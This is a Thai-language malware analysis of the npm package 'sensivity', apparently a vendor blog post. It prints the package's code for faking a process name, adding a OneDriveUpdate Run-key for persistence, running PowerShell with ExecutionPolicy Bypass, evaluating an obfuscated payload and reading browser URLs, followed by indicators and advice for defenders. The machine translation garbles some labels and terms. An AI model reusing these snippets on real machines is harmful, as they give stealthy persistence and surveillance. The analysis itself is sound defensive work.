PairLoop: แผงควบคุมระยะไกลแบบซ่อนในแพ็กเกจ npm

PairLoop: แพ็กเกจ npm เดียว เจ็ดสิบเวอร์ชัน และแผงควบคุมระยะไกลแบบซ่อนเร้นสำหรับ Windows

TL; DR

แพ็คเกจ npm ความไว โปรแกรมนี้อธิบายตัวเองว่าเป็น "แผงควบคุมความไว" บนระบบปฏิบัติการ Windows มันทำงานเหมือนเครื่องมือควบคุมระยะไกลและเฝ้าระวัง

จุดเริ่มต้นของมัน launcher.jsเปลี่ยนชื่อกระบวนการของตัวเองเป็น Runtime Broker และเขียนค่า Run-key สำหรับการเริ่มต้นอัตโนมัติชื่อ OneDriveUpdate ซึ่งจะเรียกใช้งานแพ็กเกจอีกครั้งผ่านสคริปต์ VBScript ที่ซ่อนอยู่ และเรียกใช้ PowerShell ด้วยคำสั่งต่อไปนี้ -ExecutionPolicy Bypassจากนั้นจะประเมินเพย์โหลดเซิร์ฟเวอร์ที่เข้ารหัสลับขนาด 171 KB ควบคู่ไปกับโมดูลดั้งเดิมขนาด 6.87 MB sens.node.

โปรแกรมนี้ทำหน้าที่เป็นแผงควบคุมการจับคู่โทรศัพท์บนพอร์ต TCP 3000 และอ่าน URL จากแถบที่อยู่ของเบราว์เซอร์ที่ใช้งานอยู่ผ่าน Windows UIAutomation โดยคอยตรวจสอบวิดีโอ YouTube ที่ถูกกำหนดไว้ล่วงหน้าหนึ่งรายการ

สองส่วนที่ก่อนหน้านี้อ่านแล้วเหมือนเป็นกล่องดำ ตอนนี้ได้รับการไขกระจ่างแล้ว นั่นคือ เซิร์ฟเวอร์ที่ถูกปกปิดข้อมูลไว้ server.obf.jsใช้รูปแบบการเข้ารหัสสตริงอาร์เรย์ RC4 ของ obfuscator.io โดยการสร้างตัวถอดรหัสใหม่แบบออฟไลน์ (ไม่มีการเรียกใช้ JavaScript) จะกู้คืนปลายทางภายนอกเพียงจุดเดียวได้ https://izopi.com/check.php — พร้อมด้วยคีย์สาธารณะ RSA ที่ฝังอยู่ภายใน ซึ่งใช้ในการตรวจสอบการตอบกลับใบอนุญาตที่ลงนามแล้ว

โมดูลดั้งเดิม sens.nodeไฟล์นี้ไม่ได้บรรจุอยู่ในแพ็กเกจ: ตารางการนำเข้าและสตริงที่ฝังอยู่ระบุว่าเป็นโอเวอร์เลย์ในเกม DirectX 11 / Dear ImGui ที่มีคุณสมบัติ aimbot, ESP (มองทะลุกำแพง) และ triggerbot ซึ่งขับเคลื่อนด้วยการฉีดกระบวนการระยะไกลและการอ่าน/เขียนหน่วยความจำ

สตริงภายในนั้นอ้างอิงถึงเอนทิตีของยานพาหนะและตำแหน่งบนแผนที่ซึ่งสอดคล้องกับ GTA V / FiveM แพ็กเกจ npm เป็นตัวห่อหุ้มสำหรับการส่งมอบและการจัดเก็บข้อมูลรอบโมดูลดั้งเดิมนั้น

สัญญาณบ่งชี้ที่สำคัญคือการใช้งานจริง ไม่ใช่ด้านเทคนิค: ผู้เผยแพร่ที่ไม่เปิดเผยตัวตนรายหนึ่งได้เผยแพร่แพ็กเกจเดียวกันประมาณเจ็ดสิบเวอร์ชัน — 2.5.0 ถึง 2.5.69 — ตลอดระยะเวลาไม่กี่วัน โดยแต่ละคนพกเครื่องยิงจรวดแบบเดียวกัน

ไม่มีการติดตั้ง hooksโค้ดส่วนนี้จะทำงานก็ต่อเมื่อแพ็กเกจเริ่มต้นทำงานเท่านั้น

การโจมตี: วิธีการทำงาน

แพ็กเกจ sensivity ประกอบด้วยไฟล์สิบไฟล์ ไฟล์ package.json นั้นเรียบง่ายมาก: ไม่มีช่องสำหรับระบุ repository, ไม่มี license, มี alias หลักและ alias สำหรับ bin อีกสองตัว (sensivity, sens) ซึ่งทั้งหมดชี้ไปยัง launcher.js และมีสคริปต์เริ่มต้นชื่อ node launcher.js ไม่มี postinstall หรือ preinstall ไม่มีอะไรทำงานเมื่อรันคำสั่ง npm install พฤติกรรมที่อธิบายไว้ด้านล่างจะทำงานเมื่อผู้ใช้เริ่มแพ็กเกจ — ผ่านทาง bin shim, สคริปต์เริ่มต้น หรือ require

ไฟล์ tarball ประกอบด้วยตัวเรียกใช้งาน เซิร์ฟเวอร์ที่ถูกเข้ารหัส โมดูลเนทีฟ สคริปต์ Visual Basic และไดเร็กทอรี public/web สำหรับแผงควบคุม launcher.js คือตัวจัดการการทำงานที่อ่านได้ ส่วนตรรกะที่สำคัญในขณะรันไทม์นั้นอยู่ในไฟล์ข้อมูลสองไฟล์ที่มันโหลด ซึ่งก็คือเซิร์ฟเวอร์ที่ถูกเข้ารหัสและโมดูลเนทีฟที่คอมไพล์แล้ว ซึ่งทั้งสองอย่างจะถูกอธิบายในส่วนถัดไป

 การปลอมแปลงกระบวนการและการอัปเดต OneDrive ปลอม

ในช่วงเริ่มต้นการทำงาน launcher.js จะตั้งชื่อกระบวนการของตัวเองสองครั้ง:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker เป็นกระบวนการของ Windows ที่ถูกต้องตามกฎหมาย (RuntimeBroker.exe) ซึ่งทำหน้าที่จัดการสิทธิ์การเข้าถึงแอปพลิเคชัน การเปลี่ยนชื่อกระบวนการ Node ให้ตรงกับชื่อนี้จะทำให้การตรวจสอบใน Task Manager ไม่พบสิ่งผิดปกติใดๆ

การบันทึกข้อมูลแบบถาวรนั้นเขียนผ่าน PowerShell แทนที่จะใช้ API ของรีจิสทรีโดยตรง:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

ค่าเริ่มต้นอัตโนมัติมีชื่อว่า OneDriveUpdate และไม่ได้ชี้ไปยังแพ็กเกจโดยตรง แต่ชี้ไปยัง wscript.exe ที่เรียกใช้ OneDrive.Standalone.Updater.vbs ที่รวมอยู่ในแพ็กเกจนั้น สคริปต์ดังกล่าวจะเรียกใช้ node launcher.js อีกครั้งในหน้าต่างที่ซ่อนอยู่ ทั้งชื่อของปุ่ม Run และชื่อไฟล์ VBScript ใช้ตราสินค้าของ Microsoft ดังนั้นรายการเริ่มต้นอัตโนมัติจึงดูเหมือนเป็นงาน OneDrive ทั่วไป

PowerShell พร้อมการข้ามผ่านนโยบายการดำเนินการ

ตัวเรียกใช้งานจะเรียกใช้ PowerShell ซ้ำๆ จุดที่โปรแกรมสแกนระบุว่ามีความสำคัญคือการเรียกใช้ไฟล์ .ps1 ที่สร้างขึ้นโดยปิดใช้งานนโยบายการเรียกใช้งาน:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass จะลบการตรวจสอบลายเซ็นสคริปต์ในเครื่องสำหรับการเรียกใช้งานนั้น สคริปต์ที่สร้างขึ้นจะจัดการการตรวจสอบเบราว์เซอร์และการตรวจจับหน้าต่างตามที่อธิบายไว้ในส่วนถัดไป

เซิร์ฟเวอร์ที่ซ่อนเร้นและโมดูลดั้งเดิม

หลังจากตั้งค่าเสร็จแล้ว launcher.js จะโหลดและเรียกใช้ข้อมูลจริง:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

ไฟล์ server.obf.js มีขนาด 171 KB เป็นไฟล์เข้ารหัสแบบ _0x-array ซึ่งเป็นรูปแบบ JavaScript ที่ทุกสตริงและตัวระบุจะถูกแทนที่ด้วยดัชนีในอาร์เรย์ที่สุ่มสลับตำแหน่ง จากนั้นจึงดึงค่าที่อ้างอิงออกมาในระหว่างการทำงาน รูปแบบที่ใช้คือ RC4 เวอร์ชันที่สร้างโดย obfuscator.io: ฟังก์ชันถอดรหัสเดียวจะถอดรหัส base64 ของรายการในอาร์เรย์ จากนั้นจึงถอดรหัส RC4 ด้วยคีย์ต่อการเรียกใช้ การเขียนฟังก์ชันถอดรหัสใหม่ในสคริปต์แยกต่างหาก — โดยเรียกใช้เฉพาะการเขียนใหม่กับอาร์เรย์สตริง 821 รายการที่แยกออกมาเท่านั้น ไม่ใช่ JavaScript ของแพ็กเกจเอง — จะทำให้สามารถถอดรหัสได้อย่างสะอาดหมดจด สิ่งที่ปรากฏออกมานั้นเรียบง่ายแต่ก็มีประสิทธิภาพcisประกอบด้วย: URL ภายนอกหนึ่งรายการ https://izopi.com/check.php ซึ่งกำหนดให้กับค่าคงที่ LICENSE_URL; คีย์ RSA PUBLIC_KEY_PEM ที่ฝังอยู่ภายใน; เส้นทางแผงควบคุมภายใน /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off และ /trigger/status; และสตริง child_process, crypto และ [Sensivity] sens.node loaded — ซึ่งสุดท้ายคือบรรทัดบันทึกที่ตัวเรียกใช้งานเขียนใหม่เป็น program module loaded ปลายทางคือการตรวจสอบใบอนุญาต: ไคลเอนต์ส่งตัวระบุ (เซิร์ฟเวอร์ที่เข้ารหัสจะจัดรูปแบบ Discord ID: %s string) และคีย์ RSA จะตรวจสอบการตอบกลับที่ลงนามของเซิร์ฟเวอร์

sens.node เป็นแอดออนเนทีฟที่คอมไพล์แล้วขนาด 6.87 MB และไม่ได้ถูกบีบอัด — ค่าเอนโทรปีของส่วนต่างๆ อยู่ที่ 5.6–6.6 และตารางการนำเข้าและส่งออก PE ยังคงอยู่ครบถ้วน ดังนั้นจึงสามารถอ่านความสามารถต่างๆ ได้โดยตรง มันส่งออก napi_register_module_v1 ซึ่งเป็น... standard จุดเริ่มต้นของ Node N-API ดังนั้นเซิร์ฟเวอร์ที่ประเมินผลจึงโหลดมันด้วยคำสั่ง require ธรรมดา ตารางการนำเข้าของมันคือตัวบ่งชี้ จาก KERNEL32 มันจะดึง OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules และ Process32First/NextW ซึ่งเป็นชุดมาตรฐานสำหรับการค้นหาโปรเซสอื่น การจัดสรรหน่วยความจำภายในโปรเซส และการอ่านหรือเขียนหน่วยความจำนั้น จาก USER32 มันจะดึง GetAsyncKeyState, GetKeyState, mouse_event และ SetCursorPos; มันเชื่อมโยง d3d11.dll, D3DCOMPILER_43 และ dwmapi สำหรับการซ้อนทับบนหน้าจอ และชุด WINHTTP แบบเต็มสำหรับการเรียกใช้เครือข่าย ข้อความที่ฝังอยู่ภายในระบุชุดคุณสมบัติได้อย่างชัดเจนโดยไม่มีความคลุมเครือ ได้แก่ Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected และแบนเนอร์ Dear ImGui Dear ImGui 1.91.3 WIP ข้อความเกี่ยวกับสถานที่และเอนทิตี เช่น Grapeseed Medical Clinic และคำศัพท์เกี่ยวกับ Vehicle-ESP นั้นสอดคล้องกับ GTA V / FiveM

การแบ่งส่วนนี้เป็นไปโดยเจตนา: ไฟล์ launcher.js ที่อ่านได้นั้นมีเฉพาะส่วนที่เครื่องสแกนอ่านได้ง่าย เช่น การคงอยู่ของข้อมูล การปลอมแปลงตัวตน และการเรียกใช้ฟังก์ชัน eval ในขณะที่การเข้ารหัสซ่อนโฮสต์ภายนอกเพียงโฮสต์เดียวที่รันไทม์ติดต่อ และไฟล์ไบนารีนั้นเก็บตรรกะการแสดงผลเกมซ้อนทับและการแทรกกระบวนการ ไฟล์ launcher เป็นเหมือนเปลือกหุ้มที่บางและตรวจสอบได้ ไฟล์เซิร์ฟเวอร์ที่เข้ารหัสซ่อนตัวตนของเครือข่าย และโมดูลเนทีฟเป็นเหมือนเพย์โหลด เราอธิบายการนำเข้าและสตริงของไฟล์ไบนารีว่าเป็นสิ่งที่อ่านได้ เราไม่ได้อนุมานวัตถุประสงค์ของผู้ดำเนินการจากสิ่งเหล่านั้น

 แผงควบคุมการจับคู่โทรศัพท์บนพอร์ต 3000

ตัวเรียกใช้งานจะจัดการเว็บเซิร์ฟเวอร์ภายในเครื่องบนพอร์ต TCP 3000 และถือว่าเป็นเซิร์ฟเวอร์แบบซิงเกิลตัน โดยจะตรวจสอบหาผู้รับฟังที่มีอยู่และล้างข้อมูลก่อนที่จะทำการเชื่อมต่อ:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

สามารถเข้าถึงแผงควบคุมได้ที่ http://localhost:3000 โดยมี URL สำรองสำหรับเครือข่าย LAN ที่กำหนดไว้ตายตัวคือ http://192.168.1.16:3000 ไดเร็กทอรี public/ และพฤติกรรมของแผงควบคุมสอดคล้องกับขั้นตอนการจับคู่ QR Code: โทรศัพท์สแกนโค้ดและเชื่อมต่อกับโฮสต์ในฐานะอุปกรณ์ระยะไกล ไม่มีโดเมนควบคุมภายนอกปรากฏเป็นข้อความธรรมดาในตัวเรียกใช้งาน — แต่ดังที่การถอดรหัสข้างต้นแสดงให้เห็น มีโดเมนหนึ่งอยู่ในเซิร์ฟเวอร์ที่ถูกเข้ารหัส: ปลายทางใบอนุญาต izopi.com ตัวแผงควบคุมเองเป็นแบบโลคอลและจำกัดขอบเขตเฉพาะเครือข่าย LAN โฮสต์ขาออกเพียงอย่างเดียวคือการตรวจสอบใบอนุญาตนั้น

รูปแบบการควบคุม/การทำงานแบบแยกส่วนช่วยให้กระบวนการทำงานยังคงดำเนินต่อไปได้ ตัวเรียกใช้งานจะสร้างตัวเองขึ้นใหม่โดยใช้แฟล็กสภาพแวดล้อม SENSIVITY_SUPERVISOR และ SENSIVITY_WORKER โดยแต่ละกระบวนการย่อยจะทำงานแบบซ่อนเร้น ดังนั้นการฆ่ากระบวนการหนึ่งจะทำให้มีตัวเฝ้าระวังคอยเริ่มต้นกระบวนการนั้นใหม่

การเฝ้าระวังเบราว์เซอร์และ YouTube Signal

พฤติกรรมที่เฉพาะเจาะจงที่สุดคือการตรวจสอบเบราว์เซอร์ ไฟล์ launcher.js สร้าง PowerShell ที่ขับเคลื่อน Windows UIAutomation เพื่ออ่านแถบที่อยู่ของเบราว์เซอร์ที่กำลังทำงานอยู่:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern จะส่งคืนเนื้อหาข้อความขององค์ประกอบ UI เมื่อนำไปใช้กับช่องแก้ไขข้อความในแถบที่อยู่ของเบราว์เซอร์ มันจะส่งคืน URL ที่เหยื่อกำลังดูอยู่ โดยไม่ต้องใช้ส่วนขยายเบราว์เซอร์ ไม่ต้องแตะต้องโปรไฟล์บนดิสก์ และไม่ต้องใช้ API hook สคริปต์ที่สร้างขึ้นจะวนซ้ำรายการ $browserNames และดึง URL หรือชื่อหน้าต่างของเบราว์เซอร์ใดก็ตามที่ใช้งานอยู่เบื้องหน้า

URL นั้นจะถูกทดสอบกับเป้าหมายที่กำหนดไว้ตายตัวเพียงเป้าหมายเดียว:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

โปรแกรมจะตรวจสอบหน้าต่างเบราว์เซอร์ที่แสดง YouTube ทุกๆ สามวินาที และ PowerShell ที่สร้างขึ้นจะบรรจุคำสั่ง Get-YouTubeBrowser / Test-TargetYouTubeUrl ที่ตรงกับรหัสวิดีโอนั้น ผลที่สังเกตได้มีสองประการ คือ URL ของเบราว์เซอร์ที่ใช้งานอยู่จะถูกอ่านจากหน้าจอของเหยื่อ และการโต้ตอบของผู้โจมตีกับวิดีโอ YouTube เฉพาะรายการหนึ่งจะถูกตรวจจับ เราจะอธิบายกลไกและเป้าหมาย แต่เราจะไม่สรุปแรงจูงใจจากสิ่งเหล่านั้น

สิ่งที่สแกนเนอร์ระบุว่าเป็น sensitive_data_enumeration ก็คือ Process::env และแหล่งข้อมูล UIAutomation ที่ส่งข้อมูลไปยังรันไทม์ที่สามารถเชื่อมต่อเครือข่ายได้ เมื่อพิจารณาแยกต่างหากแล้วดูเหมือนจะไม่มีอันตราย และจะกลายเป็นการสอดแนมก็ต่อเมื่อมีการติดตามวงจรชีวิตของข้อมูลจากแหล่งข้อมูล UIAutomation ไปยังเซิร์ฟเวอร์ที่ถูกปกปิดข้อมูลไว้

ลำดับเวลาและวิวัฒนาการของเวอร์ชัน

ความละเอียดอ่อนไม่ใช่การอัปโหลดครั้งเดียวจบ บัญชีผู้เผยแพร่มีเวอร์ชันที่เผยแพร่แล้วประมาณเจ็ดสิบเวอร์ชันของแพ็กเกจเดียวนี้ และเวอร์ชันใหม่ ๆ ก็ทยอยเข้ามาเรื่อย ๆ ในระหว่างช่วงเวลาการตรวจสอบ ตัวเรียกใช้งานมีการเพิ่มฟีเจอร์ทีละอย่างในเวอร์ชัน 2.5.x ในขณะที่การคงอยู่และการโหลดเพย์โหลดนั้นคงที่

วันที่ (UTC) เวอร์ชันที่สังเกต สถานะตัวเรียกใช้งาน
2026-06-02 2.5.8 - 2.5.46 (25) ตัวเรียกใช้งานแผง QR พื้นฐาน; การคงอยู่ของปุ่มเรียกใช้งาน; การประเมินเซิร์ฟเวอร์ที่เข้ารหัสลับ
2026-06-03 2.5.53 - 2.5.61 (6) ลายนิ้วมือเหมือนกัน; ปิดใช้งานการติดตามคอนโซล
2026-06-04 2.5.67, 2.5.68 (2) เพิ่มเป้าหมายการมีส่วนร่วมบน YouTube ที่ปักหมุดไว้ wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) การเผยแพร่ซ้ำเพื่อเติมเต็มช่องว่างในทุกด้าน; การตรวจสอบดูแลผู้ควบคุมงาน/ลูกจ้าง

เมื่ออ่านโค้ดของตัวเรียกใช้งาน (launcher) ในเวอร์ชันที่ดาวน์โหลดมา — 2.5.0, 2.5.36 และ 2.5.69 — พบว่ามีสี่ระดับ เวอร์ชันแรกสุดจะมีตัวเรียกใช้งานพื้นฐานสำหรับการจับคู่ QR Code เวอร์ชัน 2.5.33 ขึ้นไปจะมีตัวเก็บข้อมูลแถบที่อยู่ UIAutomation ปรากฏขึ้น เวอร์ชัน 2.5.58 ขึ้นไปจะมีการเพิ่มเลเยอร์การจัดการผู้ดูแลระบบ และเวอร์ชัน 2.5.64 ขึ้นไปจะมีตัวเฝ้าระวังผู้ดูแลระบบ/ผู้ปฏิบัติงานแบบแยกส่วน (detached supervisor/worker watchdog) ครบชุด อย่างไรก็ตาม มีสี่สิ่งที่ไม่เปลี่ยนแปลงตลอดมา ได้แก่ คีย์เรียกใช้งาน OneDriveUpdate, ตัวปล่อยไฟล์ OneDrive.Standalone.Updater.vbs, ไฟล์ server.obf.js ที่ผ่านการประเมิน และโมดูลเนทีฟ sens.node

การอัปเดตเมื่อวันที่ 5 มิถุนายน 2026 นั้นมีความน่าสนใจตรงที่ได้นำหมายเลขเวอร์ชันต่ำๆ — 2.5.0 ถึง 2.5.15 — ซึ่งต่ำกว่าเวอร์ชันที่ได้รับการยืนยันไปก่อนหน้านี้หลายวัน กลับมาเผยแพร่ใหม่ ผลที่ได้คือจะมีบรรทัด 2.5.x ต่อเนื่องกันอยู่ในรีจิสทรี โดยทุกเวอร์ชันจะใช้ตัวเรียกใช้งาน (launcher) เดียวกัน

ตัวชี้วัดของการประนีประนอม

ตัวบ่งชี้ทั้งหมดด้านล่างนี้อ่านได้โดยตรงจากไฟล์ tarball ของแพ็กเกจ ตัวเรียกใช้งานที่อ่านได้มีเพียง loopback และที่อยู่ LAN ส่วนตัวเพียงที่เดียว ส่วนชื่อโฮสต์ภายนอก izopi.com นั้นกู้คืนได้โดยการถอดรหัส server.obf.js แบบออฟไลน์

ประเภท ตัวบ่งชี้ หมายเหตุ :
แพ็คเกจ npm:sensivity (≈70 เวอร์ชัน, 2.5.0-2.5.69) ผู้เผยแพร่แพ็กเกจเดียว ไม่มีคลังเก็บซอฟต์แวร์ และไม่มีใบอนุญาต
เนื้อไม่มีมัน launcher.js ตัวจัดการกระบวนการที่อ่านง่าย; เป้าหมายหลักและเป้าหมายสำรอง
เนื้อไม่มีมัน server.obf.js (≈171 KB) เพย์โหลดสตริงอาร์เรย์ RC4 จาก obfuscator.io โหลดผ่าน eval(fs.readFileSync(...)).
เนื้อไม่มีมัน sens.node (≈6.87 MB) ส่วนเสริม PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
เนื้อไม่มีมัน OneDrive.Standalone.Updater.vbs ตัวเรียกใช้งานที่ซ่อนอยู่ (node launcher.js).
เครือข่าย https://izopi.com/check.php กู้คืนจุดเชื่อมต่อใบอนุญาต/การตรวจสอบสิทธิ์จากเซิร์ฟเวอร์ที่ถูกเข้ารหัสลับแล้ว คีย์สาธารณะ RSA ที่ฝังอยู่จะตรวจสอบการตอบสนอง
ความสามารถ OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread ความสามารถในการแทรกกระบวนการจากระยะไกลและการอ่าน/เขียนหน่วยความจำ
ความสามารถ Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui โปรแกรมซ้อนทับเกมที่รองรับฟีเจอร์ aimbot, ESP และ triggerbot
รีจิสทรี HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate ค่าเริ่มต้นอัตโนมัติชี้ไปที่ wscript.exe และตัวเรียกใช้งาน VBScript
กระบวนการ process.title = 'Runtime Broker' ปลอมตัวเป็นกระบวนการ Windows Runtime Broker ที่ถูกต้องตามกฎหมาย
เกี่ยวกับพฤติกรรม powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 ใช้การข้ามการตรวจสอบนโยบายการดำเนินการสำหรับสคริปต์ PowerShell ที่สร้างขึ้น
เกี่ยวกับพฤติกรรม UIAutomation ValuePattern อ่านแถบที่อยู่ของเบราว์เซอร์ อ่าน URL ของหน้าต่างเบราว์เซอร์ที่ใช้งานอยู่เบื้องหน้า
เกี่ยวกับพฤติกรรม รหัสวิดีโอเป้าหมาย wJWta2lO0Lwโพลล์บน YouTube ความยาว 3 วินาที สัญญาณตรวจสอบการมีส่วนร่วมที่ตรึงไว้
เครือข่าย http://localhost:3000การสำรองข้อมูล http://192.168.1.16:3000 แผงควบคุมการจับคู่ QR สามารถเข้าถึงได้ทั้งในระบบภายในและบนเครือข่าย LAN
สภาพสิ่งแวดล้อม SENSIVITY_SUPERVISOR, SENSIVITY_WORKER ธงการประสานงานกระบวนการเฝ้าระวังแบบแยกส่วน

การระบุแหล่งที่มา ผลกระทบ และผู้ปกป้อง

แพ็กเกจนี้เผยแพร่โดยบัญชี npm บัญชีเดียว ซึ่งอีเมลที่ระบุไว้เป็นที่อยู่อีเมล Gmail ที่ยังไม่ได้รับการยืนยัน บัญชีดังกล่าวมีคะแนนความน่าเชื่อถือในระบบลงทะเบียนติดลบอย่างมาก ดูแลและเผยแพร่เฉพาะแพ็กเกจนี้แพ็กเกจเดียว และไม่มีการเชื่อมโยงกับที่เก็บซอร์สโค้ด เราไม่ได้ตรวจสอบความเป็นเจ้าของอีเมล และเราระบุว่าแคมเปญนี้มาจากบัญชีผู้เผยแพร่ ไม่ใช่บุคคลใดบุคคลหนึ่ง ตัวเรียกใช้งานไม่มีโครงสร้างพื้นฐานที่เป็นข้อความธรรมดา แต่ขณะนี้เรารู้จักโฮสต์ภายนอกหนึ่งแห่งแล้ว นั่นคือ เซิร์ฟเวอร์ที่ถูกเข้ารหัสจะติดต่อ izopi.com เพื่อตรวจสอบใบอนุญาต และโมดูลดั้งเดิม — ซึ่งอ่านจากตารางการนำเข้าและสตริง แทนที่จะอ่านคำสั่งทีละคำสั่ง — เป็นโอเวอร์เลย์เกมที่แทรกเข้าไปและอ่านหน่วยความจำของกระบวนการอื่น

ผลกระทบที่สังเกตได้จะเกิดขึ้นกับผู้ใช้ Windows ที่ติดตั้งและเรียกใช้ Sensivity โดยคาดหวังว่าจะเป็นยูทิลิตี้ในแผงควบคุม บนเครื่องเหล่านั้น แพ็กเกจจะสร้างการทำงานอัตโนมัติอย่างต่อเนื่องโดยปลอมตัวเป็นงาน OneDrive เปลี่ยนชื่อตัวเองเพื่อเลียนแบบกระบวนการของระบบ อ่าน URL ของสิ่งที่ผู้ใช้กำลังเรียกดู และสร้างแผงการจับคู่ที่เชื่อมต่อเครื่องกับเครื่องระยะไกลผ่านเครือข่ายท้องถิ่น กลไกการตรวจสอบการทำงานแบบ Supervisor/Worker หมายความว่าการฆ่ากระบวนการเพียงครั้งเดียวจะไม่สามารถลบมันได้ รายการในปุ่ม Run จะยังคงอยู่แม้หลังจากการรีบูต ระบบปฏิบัติการ macOS และ Linux ไม่ใช่เป้าหมายของตัวเรียกใช้งานนี้ เส้นทางการทำงานอย่างต่อเนื่อง PowerShell และ UIAutomation มีเฉพาะใน Windows เท่านั้น

การเปลี่ยนแปลงเวอร์ชันถึงเจ็ดสิบครั้งเป็นแนวโน้มที่ควรจับตามอง การเผยแพร่แพ็กเกจเดียวกันซ้ำหลายสิบครั้งในเวลาไม่กี่วัน รวมถึงการเติมหมายเลขเวอร์ชันที่ต่ำกว่าหมายเลขที่ถูกลบไปแล้ว ทำให้มีสำเนาที่ใช้งานได้อยู่ในรีจิสทรีระหว่างการลบ และทำให้รายการบล็อกที่กำหนดเวอร์ชันไว้ใช้งานไม่ได้ รายการบล็อกสำหรับ sensivity@2.5.61 จะไม่มีผลใดๆ กับ sensivity@2.5.3 ที่เผยแพร่ซ้ำในวันถัดไป

ผู้พิทักษ์สิทธิสามารถดำเนินการได้ดังต่อไปนี้:

  • ปิดกั้นความไวต่อชื่อแพ็กเกจโดยสิ้นเชิงในรายการอนุญาตของ registry-proxy และ CI การกำหนดเวอร์ชันเฉพาะเจาะจงนั้นไม่สอดคล้องกับจังหวะการเผยแพร่ซ้ำ ชื่อจึงเป็นตัวบ่งชี้ที่คงทนถาวร
  • ค้นหาค่า Run ที่ชื่อ OneDriveUpdate ซึ่งข้อมูลของมันเรียกใช้ wscript.exe กับไฟล์ .vbs ในเส้นทางเฉพาะของผู้ใช้ โปรแกรมอัปเดต OneDrive ของแท้จะไม่ถูกลงทะเบียนด้วยวิธีนี้
  • แจ้งเตือนเกี่ยวกับกระบวนการ Node.js ที่มี process.title เป็น Runtime Broker แต่ตัว Broker ที่แท้จริงคือ RuntimeBroker.exe ไม่ใช่ Node runtime
  • ตรวจสอบการดึงแพ็กเกจในระหว่างการติดตั้ง npm ที่มีไฟล์ .node addon ที่คอมไพล์แล้ว พร้อมกับการเรียกใช้ eval(fs.readFileSync(…)) ของไฟล์ .obf.js ที่อยู่ใกล้เคียง การจับคู่ดังกล่าว — ไบนารีเนทีฟที่ไม่โปร่งใสซึ่งโหลดอยู่ข้างๆ เพย์โหลดข้อความที่ถูกเข้ารหัส — เป็นตัวบ่งชี้เชิงโครงสร้างในที่นี้ โดยไม่ขึ้นอยู่กับตัวบ่งชี้ประเภทสตริงใดๆ
  • สำหรับเครื่องปลายทาง Windows ที่ได้รับการจัดการ ให้ถือว่าตัวรับฟังที่ผูกกับเครื่องภายในบนพอร์ต 3000 ซึ่งถูกสร้างขึ้นโดยกระบวนการ Node ที่ไม่คาดคิดนั้นเป็นสิ่งที่น่าสงสัย
  • บล็อกหรือแจ้งเตือนเมื่อมีการส่งคำขอออกไปยัง izopi.com จากโฮสต์ของนักพัฒนาหรือผู้ใช้ปลายทาง เนื่องจากเป็นจุดเชื่อมต่อภายนอกเพียงจุดเดียวของแพ็กเกจนี้ ซึ่งสามารถเข้าถึงได้ที่ /check.php จากเซิร์ฟเวอร์ที่ถูกเข้ารหัส
  • สำหรับส่วนเสริม .node ใดๆ ที่มีมาให้ โปรดตรวจสอบตารางการนำเข้าก่อนที่จะเชื่อถือ การรวมกันของ OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread เป็นการแทรกกระบวนการระยะไกลโดยไม่คำนึงถึงสิ่งที่แพ็กเกจอ้างว่าทำ ในกรณีนี้มันอยู่ติดกับโอเวอร์เลย์ Direct3D และสตริง aimbot/ESP/triggerbot

สำหรับการวิเคราะห์แบบสถิต pipelineดังนั้น รูปแบบความเชื่อมั่นจึงมีความคงทนต่อการเปลี่ยนแปลงเวอร์ชัน: โปรไฟล์การติดตั้งที่ไม่ใช้เครือข่าย การกำหนดชื่อกระบวนการให้กับชื่อกระบวนการระบบที่รู้จัก การเขียนคีย์ Run ผ่าน PowerShell และการประเมินไฟล์ที่อ่านจากดิสก์ สิ่งเหล่านี้ไม่ขึ้นอยู่กับโดเมน ที่อยู่ IP หรือหมายเลขเวอร์ชันที่การเผยแพร่ครั้งถัดไปอาจเปลี่ยนแปลงไปได้

 อ้างอิง

[npm: ความไว] – หน้าลงทะเบียนสำหรับบรรทัดเวอร์ชันแพ็กเกจที่กล่าวถึงในที่นี้ อาจถูกลบออก

sca-tools-software-composition-analysis-tools
จัดลำดับความสำคัญ แก้ไข และรักษาความปลอดภัยความเสี่ยงด้านซอฟต์แวร์ของคุณ
สมัครบัญชีฟรีได้เลย
ไม่ต้องใช้บัตรเครดิต

รักษาความปลอดภัยให้กับการพัฒนาและส่งมอบซอฟต์แวร์ของคุณ

ด้วยชุดผลิตภัณฑ์ Xygeni